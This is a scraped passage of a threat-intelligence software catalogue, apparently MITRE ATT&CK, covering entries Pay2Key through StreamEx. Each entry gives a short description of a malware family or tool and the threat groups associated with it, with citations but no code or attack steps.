S0556Pay2KeyPay2Key is a ransomware written in C++ that has been used by Fox Kitten since at least July 2020 including campaigns against Israeli companies. Pay2Key has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)
S1050PcSharePcShare is an open source remote access tool that has been modified and used by Chinese threat actors, most notably during the FunnyDream campaign since late 2018.(Citation: Bitdefender FunnyDream Campaign November 2020)(Citation: GitHub PcShare 2014)
S0683PeiratesPeirates is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.(Citation: Peirates GitHub)
S0587PenquinPenquin is a remote access trojan (RAT) with multiple versions used by Turla to target Linux systems since at least 2014.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)
S0643PeppyPeppy is a Python-based remote access Trojan, active since at least 2012, with similarities to Crimson.(Citation: Proofpoint Operation Transparent Tribe March 2016)
S0158PHOREALPHOREAL is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)
S0517PillowmintPillowmint is a point-of-sale malware used by FIN7 designed to capture credit card information.(Citation: Trustwave Pillowmint June 2020)
S0048PinchDukePinchDuke is malware that was used by APT29 from 2008 to 2010. (Citation: F-Secure The Dukes)
IDNameDescription
S0097PingPing is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)
S1031PingPullPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.(Citation: Unit 42 PingPull Jun 2022)
S0501PipeMonPipeMon is a multi-stage modular backdoor used by Winnti Group.(Citation: ESET PipeMon May 2020)
S0124PisloaderPisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group. (Citation: Palo Alto DNS Requests)
S0254PLAINTEEPLAINTEE is a malware sample that has been used by Rancor in targeted attacks in Singapore and Cambodia. (Citation: Rancor Unit42 June 2018)
S0435PLEADPLEAD is a remote access tool (RAT) and downloader used by BlackTech in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) PLEAD has also been referred to as TSCookie, though more recent reporting indicates likely separation between the two. PLEAD was observed in use as early as March 2017.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018)
S0013PlugXPlugX is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: New DragonOK)(Citation: Dell TG-3390)
S0067pngdownerpngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple “download-and-
execute” utility. (Citation: CrowdStrike Putter Panda)
S0428PoetRATPoetRAT is a remote access trojan (RAT) that was first identified in April 2020. PoetRAT has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. PoetRAT derived its name from references in the code to poet William Shakespeare. (Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos Threat Report 2020)
S0012PoisonIvyPoisonIvy is a popular remote access tool (RAT) that has been used by many groups.(Citation: FireEye Poison Ivy)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Darkmoon Aug 2005)
S0518PolyglotDukePolyglotDuke is a downloader that has been used by APT29 since at least 2013. PolyglotDuke has been used to drop MiniDuke.(Citation: ESET Dukes October 2019)
S0453PonyPony is a credential stealing malware, though has also been used among adversaries for its downloader capabilities. The source code for Pony Loader 1.0 and 2.0 were leaked online, leading to their use by various threat actors.(Citation: Malwarebytes Pony April 2016)
S0216POORAIMPOORAIM is a backdoor used by APT37 in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)
S0378PoshC2PoshC2 is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in PowerShell. Although PoshC2 is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2)
S0150POSHSPYPOSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)
S0177Power LoaderPower Loader is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
S0139PowerDukePowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)
S1012PowerLessPowerLess is a PowerShell-based modular backdoor that has been used by Magic Hound since at least 2022.(Citation: Cybereason PowerLess February 2022)
S0685PowerPunchPowerPunch is a lightweight downloader that has been used by Gamaredon Group since at least 2021.(Citation: Microsoft Actinium February 2022)
S0441PowerShowerPowerShower is a PowerShell backdoor used by Inception for initial reconnaissance and to download and execute second stage payloads.(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas August 2019)
S0145POWERSOURCEPOWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)
S0194PowerSploitPowerSploit is an open source, offensive security framework comprised of PowerShell modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)
S0393PowerStallionPowerStallion is a lightweight PowerShell backdoor used by Turla, possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)
S0223POWERSTATSPOWERSTATS is a PowerShell-based first stage backdoor used by MuddyWater. (Citation: Unit 42 MuddyWater Nov 2017)
S0371POWERTONPOWERTON is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by APT33. At least two variants of the backdoor have been identified, with the later version containing improved functionality.(Citation: FireEye APT33 Guardrail)
S1046PowGoopPowGoop is a loader that consists of a DLL loader and a PowerShell-based downloader; it has been used by MuddyWater as their main loader.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: CYBERCOM Iranian Intel Cyber January 2022)
S0184POWRUNERPOWRUNER is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)
S1058PrestigePrestige ransomware has been used by Sandworm Team since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.(Citation: Microsoft Prestige ransomware October 2022)
S0113PrikormkaPrikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)
S0654ProLockProLock is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with QakBotProLock is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.(Citation: Group IB Ransomware September 2020)
S0279ProtonProton is a macOS backdoor focusing on data theft and credential access (Citation: objsee mac malware 2017).
S0238ProxysvcProxysvc is a malicious DLL used by Lazarus Group in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of Proxysvc is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)
S0613PS1PS1 is a loader that was used to deploy 64-bit backdoors in the CostaRicto campaign.(Citation: BlackBerry CostaRicto November 2020)
S0029PsExecPsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.(Citation: Russinovich Sysinternals)(Citation: SANS PsExec)
S0078PsyloPsylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM. (Citation: Scarlet Mimic Jan 2016)
S0147PteranodonPteranodon is a custom backdoor used by Gamaredon Group. (Citation: Palo Alto Gamaredon Feb 2017)
S0196PUNCHBUGGYPUNCHBUGGY is a backdoor malware used by FIN8 that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)
S0197PUNCHTRACKPUNCHTRACK is non-persistent point of sale (POS) system malware utilized by FIN8 to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)
S0192PupyPupy is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) Pupy is publicly available on GitHub. (Citation: GitHub Pupy)
S0006pwdumppwdump is a credential dumper. (Citation: Wikipedia pwdump)
S1032PyDCryptPyDCrypt is malware written in Python designed to deliver DCSrv. It has been used by Moses Staff since at least September 2021, with each sample tailored for its intended victim organization.(Citation: Checkpoint MosesStaff Nov 2021)
S0583PysaPysa is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations.(Citation: CERT-FR PYSA April 2020)
S0650QakBotQakBot is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. QakBot is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably ProLock and Egregor.(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)
S0269QUADAGENTQUADAGENT is a PowerShell backdoor used by OilRig. (Citation: Unit 42 QUADAGENT July 2018)
S0262QuasarRATQuasarRAT is an open-source, remote access tool that has been publicly available on GitHub since at least 2014. QuasarRAT is developed in the C# language.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)
S0686QuietSieveQuietSieve is an information stealer that has been used by Gamaredon Group since at least 2021.(Citation: Microsoft Actinium February 2022)
S0481Ragnar LockerRagnar Locker is a ransomware that has been in use since at least December 2019.(Citation: Sophos Ragnar May 2020)(Citation: Cynet Ragnar Apr 2020)
S0565RaindropRaindrop is a loader used by APT29 that was discovered on some victim machines during investigations related to the SolarWinds Compromise. It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)
S0629RainyDayRainyDay is a backdoor tool that has been used by Naikon since at least 2020.(Citation: Bitdefender Naikon April 2021)
S0458RamsayRamsay is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between Ramsay and the Darkhotel-associated Retro malware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)
S0055RARSTONERARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX. (Citation: Aquino RARSTONE)
S0241RATANKBARATANKBA is a remote controller tool used by Lazarus GroupRATANKBA has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. RATANKBA has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)
S0364RawDiskRawDisk is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer’s hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.(Citation: EldoS RawDisk ITpro)(Citation: Novetta Blockbuster Destructive Malware)
S0169RawPOSRawPOS is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)
S1040RcloneRclone is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. Rclone has been used in a number of ransomware campaigns, including those associated with the Conti and DarkSide Ransomware-as-a-Service operations.(Citation: Rclone)(Citation: Rclone Wars)(Citation: Detecting Rclone)(Citation: DarkSide Ransomware Gang)(Citation: DFIR Conti Bazar Nov 2021)
S0662RCSessionRCSession is a backdoor written in C++ that has been in use since at least 2018 by Mustang Panda and by Threat Group-3390 (Type II Backdoor).(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Trend Micro Iron Tiger April 2021)(Citation: Trend Micro DRBControl February 2020)
S0495RDATRDAT is a backdoor used by the suspected Iranian threat group OilRigRDAT was originally identified in 2017 and targeted companies in the telecommunications sector.(Citation: Unit42 RDAT July 2020)
S0416RDFSNIFFERRDFSNIFFER is a module loaded by BOOSTWRITE which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.(Citation: FireEye FIN7 Oct 2019)
S0172ReaverReaver is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the “Five Poisons,” which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of Control Panel items.(Citation: Palo Alto Reaver Nov 2017)
S0153RedLeavesRedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)
S0075RegReg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)

Utilities such as Reg are known to be used by persistent threats. (Citation: Windows Commands JPCERT)
S0511RegDukeRegDuke is a first stage implant written in .NET and used by APT29 since at least 2017. RegDuke has been used to control a compromised machine when control of other implants on the machine was lost.(Citation: ESET Dukes October 2019)
S0019ReginRegin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003. (Citation: Kaspersky Regin)
S0332RemcosRemcos is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. Remcos has been observed being used in malware campaigns.(Citation: Riskiq Remcos Jan 2018)(Citation: Talos Remcos Aug 2018)
S0375RemexiRemexi is a Windows-based Trojan that was developed in the C programming language.(Citation: Securelist Remexi Jan 2019)
S0166RemoteCMDRemoteCMD is a custom tool used by APT3 to execute commands on a remote system similar to SysInternal’s PSEXEC functionality. (Citation: Symantec Buckeye)
S0592RemoteUtilitiesRemoteUtilities is a legitimate remote administration tool that has been used by MuddyWater since at least 2021 for execution on target machines.(Citation: Trend Micro Muddy Water March 2021)
S0125RemsecRemsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)
S0174ResponderResponder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)
S0379Revenge RATRevenge RAT is a freely available remote access tool written in .NET (C#).(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)
S0496REvilREvil is a ransomware family that has been linked to the GOLD SOUTHFIELD group and operated as ransomware-as-a-service (RaaS) since at least April 2019. REvil, which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)
S0258RGDoorRGDoor is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. RGDoor has been seen deployed on webservers belonging to the Middle East government organizations. RGDoor provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)
S0433RifdoorRifdoor is a remote access trojan (RAT) that shares numerous code similarities with HotCroissant.(Citation: Carbon Black HotCroissant April 2020)
S0003RIPTIDERIPTIDE is a proxy-aware backdoor used by APT12. (Citation: Moran 2014)
S0448Rising SunRising Sun is a modular backdoor that was used extensively in Operation Sharpshooter between 2017 and 2019. Rising Sun infected at least 87 organizations around the world, including nuclear, defense, energy, and financial service companies. Security researchers assessed Rising Sun included some source code from Lazarus Group’s Trojan Duuzer.(Citation: McAfee Sharpshooter December 2018)
S0684ROADToolsROADTools is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.(Citation: ROADtools Github)
S0400RobbinHoodRobbinHood is ransomware that was first observed being used in an attack against the Baltimore city government’s computer network.(Citation: CarbonBlack RobbinHood May 2019)(Citation: BaltimoreSun RobbinHood May 2019)
S0112ROCKBOOTROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)
S0270RogueRobinRogueRobin is a payload used by DarkHydrus that has been developed in PowerShell and C#. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)
S0240ROKRATROKRAT is a cloud-based remote access tool (RAT) used by APT37 to target victims in South Korea. APT37 has used ROKRAT during several campaigns from 2016 through 2021.(Citation: Talos ROKRAT)(Citation: Talos Group123)(Citation: Volexity InkySquid RokRAT August 2021)
S0103routeroute can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)
S0090RoverRover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)
S1073RoyalRoyal is ransomware that first appeared in early 2022; a version that also targets ESXi servers was later observed in February 2023. Royal employs partial encryption and multiple threads to evade detection and speed encryption. Royal has been used in attacks against multiple industries worldwide–including critical infrastructure. Security researchers have identified similarities in the encryption routines and TTPs used in Royal and Conti attacks and noted a possible connection between their operators.(Citation: Microsoft Royal ransomware November 2022)(Citation: Cybereason Royal December 2022)(Citation: Kroll Royal Deep Dive February 2023)(Citation: Trend Micro Royal Linux ESXi February 2023)(Citation: CISA Royal AA23-061A March 2023)
S0148RTMRTM is custom malware written in Delphi. It is used by the group of the same name (RTM). Newer versions of the malware have been reported publicly as Redaman.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)
S1071RubeusRubeus is a C# toolset designed for raw Kerberos interaction that has been used since at least 2020, including in ransomware operations.(Citation: GitHub Rubeus March 2023)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk’s Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)
S0358RulerRuler is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of Ruler have also released a defensive tool, NotRuler, to detect its usage.(Citation: SensePost Ruler GitHub)(Citation: SensePost NotRuler)
S0253RunningRATRunningRAT is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with Gold Dragon and Brave Prince. (Citation: McAfee Gold Dragon)
S0446RyukRyuk is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. Ryuk shares code similarities with Hermes ransomware.(Citation: CrowdStrike Ryuk January 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: FireEye FIN6 Apr 2019)
S0085S-TypeS-Type is a backdoor that was used in Operation Dust Storm since at least 2013.(Citation: Cylance Dust Storm)
S1018Saint BotSaint Bot is a .NET downloader that has been used by Ember Bear since at least March 2021.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )
S0074SakulaSakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)
S0370SamSamSamSam is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)
S0111schtasksschtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)
S0461SDBbotSDBbot is a backdoor with installer and loader components that has been used by TA505 since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)
S0195SDeleteSDelete is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)
S0053SeaDukeSeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar. (Citation: F-Secure The Dukes)
S0345SeasaltSeasalt is malware that has been linked to APT1’s 2010 operations. It shares some code similarities with OceanSalt.(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)
S0185SEASHARPEESEASHARPEE is a Web shell that has been used by OilRig. (Citation: FireEye APT34 Webinar Dec 2017)
S0382ServHelperServHelper is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.(Citation: Proofpoint TA505 Jan 2019)
S0639Seth-LockerSeth-Locker is a ransomware with some remote control capabilities that has been in use since at least 2021.
(Citation: Trend Micro Ransomware February 2021)
IDNameDescription
S0596ShadowPadShadowPad is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by APT41, but has since been observed to be used by various Chinese threat activity groups. (Citation: Recorded Future RedEcho Feb 2021)(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017)
S0140ShamoonShamoon is wiper malware that was first used by an Iranian group known as the “Cutting Sword of Justice” in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. Shamoon has also been seen leveraging RawDisk and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)
S1019SharkShark is a backdoor malware written in C# and .NET that is an updated version of Milan; it has been used by HEXANE since at least July 2021.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)
S0546SharpStageSharpStage is a .NET malware with backdoor capabilities.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)
S0450SHARPSTATSSHARPSTATS is a .NET backdoor used by MuddyWater since at least 2019.(Citation: TrendMicro POWERSTATS V3 June 2019)
S0444ShimRatShimRat has been used by the suspected China-based adversary Mofang in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name “ShimRat” comes from the malware’s extensive use of Windows Application Shimming to maintain persistence. (Citation: FOX-IT May 2016 Mofang)
S0445ShimRatReporterShimRatReporter is a tool used by suspected Chinese adversary Mofang to automatically conduct initial discovery. The details from this discovery are used to customize follow-on payloads (such as ShimRat) as well as set up faux infrastructure which mimics the adversary’s targets. ShimRatReporter has been used in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development.(Citation: FOX-IT May 2016 Mofang)
S0028SHIPSHAPESHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)
S0063SHOTPUTSHOTPUT is a custom backdoor used by APT3. (Citation: FireEye Clandestine Wolf)
S0217SHUTTERSPEEDSHUTTERSPEED is a backdoor used by APT37. (Citation: FireEye APT37 Feb 2018)
S0589SibotSibot is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three Sibot variants in early 2021 during its investigation of APT29 and the SolarWinds Compromise.(Citation: MSTIC NOBELIUM Mar 2021)
S0610SideTwistSideTwist is a C-based backdoor that has been used by OilRig since at least 2021.(Citation: Check Point APT34 April 2021)
S0692SILENTTRINITYSILENTTRINITY is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. SILENTTRINITY was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.(Citation: GitHub SILENTTRINITY March 2022)(Citation: Security Affairs SILENTTRINITY July 2019)
S0623SiloscapeSiloscape is malware that targets Kubernetes clusters through Windows containers. Siloscape was first observed in March 2021.(Citation: Unit 42 Siloscape Jun 2021)
S0007Skeleton KeySkeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to Skeleton Key is included as a module in Mimikatz.
S0468SkidmapSkidmap is a kernel-mode rootkit used for cryptocurrency mining.(Citation: Trend Micro Skidmap)
S0633SliverSliver is an open source, cross-platform, red team command and control framework written in Golang.(Citation: Bishop Fox Sliver Framework August 2019)
S0533SLOTHFULMEDIASLOTHFULMEDIA is a remote access Trojan written in C++ that has been used by an unidentified “sophisticated cyber actor” since at least January 2017.(Citation: CISA MAR SLOTHFULMEDIA October 2020)(Citation: Costin Raiu IAmTheKing October 2020) It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.(Citation: USCYBERCOM SLOTHFULMEDIA October 2020)(Citation: Kaspersky IAmTheKing October 2020)

In October 2020, Kaspersky Labs assessed SLOTHFULMEDIA is part of an activity cluster it refers to as “IAmTheKing”.(Citation: Kaspersky IAmTheKing October 2020) ESET also noted code similarity between SLOTHFULMEDIA and droppers used by a group it refers to as “PowerPool”.(Citation: ESET PowerPool Code October 2020)
S0218SLOWDRIFTSLOWDRIFT is a backdoor used by APT37 against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)
S1035Small SieveSmall Sieve is a Telegram Bot API-based Python backdoor that has been distributed using a Nullsoft Scriptable Install System (NSIS) Installer; it has been used by MuddyWater since at least January 2022.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: NCSC GCHQ Small Sieve Jan 2022)

Security researchers have also noted Small Sieve’s use by UNC3313, which may be associated with MuddyWater.(Citation: Mandiant UNC3313 Feb 2022)
S0226Smoke LoaderSmoke Loader is a malicious bot application that can be used to load other malware.
Smoke Loader has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. (Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)
S0649SMOKEDHAMSMOKEDHAM is a Powershell-based .NET backdoor that was first reported in May 2021; it has been used by at least one ransomware-as-a-service affiliate.(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM June 2021)
S0159SNUGRIDESNUGRIDE is a backdoor that has been used by menuPass as first stage malware. (Citation: FireEye APT10 April 2017)
S0273SocksbotSocksbot is a backdoor that abuses Socket Secure (SOCKS) proxies. (Citation: TrendMicro Patchwork Dec 2017)
S0627SodaMasterSodaMaster is a fileless malware used by menuPass to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)
S0615SombRATSombRAT is a modular backdoor written in C++ that has been used since at least 2019 to download and execute malicious payloads, including FIVEHANDS ransomware.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)
S0516SoreFangSoreFang is first stage downloader used by APT29 for exfiltration and to load other malware.(Citation: NCSC APT29 July 2020)(Citation: CISA SoreFang July 2016)
S0157SOUNDBITESOUNDBITE is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)
S0035SPACESHIPSPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)
S0543SparkSpark is a Windows backdoor and has been in use since as early as 2017.(Citation: Unit42 Molerat Mar 2020)
S0374SpeakUpSpeakUp is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019. (Citation: CheckPoint SpeakUp Feb 2019)
S0646SpicyOmeletteSpicyOmelette is a JavaScript based remote access tool that has been used by Cobalt Group since at least 2018.(Citation: Secureworks GOLD KINGSWOOD September 2018)
S0227spwebmemberspwebmember is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)
S0225sqlmapsqlmap is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)
S0390SQLRatSQLRat is malware that executes SQL scripts to avoid leaving traditional host artifacts. FIN7 has been observed using it.(Citation: Flashpoint FIN 7 March 2019)
S1030SquirrelwaffleSquirrelwaffle is a loader that was first seen in September 2021. It has been used in spam email campaigns to deliver additional malware such as Cobalt Strike and the QakBot banking trojan.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)
S0058SslMMSslMM is a full-featured backdoor used by Naikon that has multiple variants. (Citation: Baumgartner Naikon 2015)
S0188StarloaderStarloader is a loader component that has been observed loading Felismus and associated tools. (Citation: Symantec Sowbug Nov 2017)
S1037STARWHALESTARWHALE is Windows Script File (WSF) backdoor that has been used by MuddyWater, possibly since at least November 2021; there is also a STARWHALE variant written in Golang with similar capabilities. Security researchers have also noted the use of STARWHALE by UNC3313, which may be associated with MuddyWater.(Citation: Mandiant UNC3313 Feb 2022)(Citation: DHS CISA AA22-055A MuddyWater February 2022)
S0380StoneDrillStoneDrill is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with APT33.(Citation: FireEye APT33 Sept 2017)(Citation: Kaspersky StoneDrill 2017)
S0142StreamExStreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)
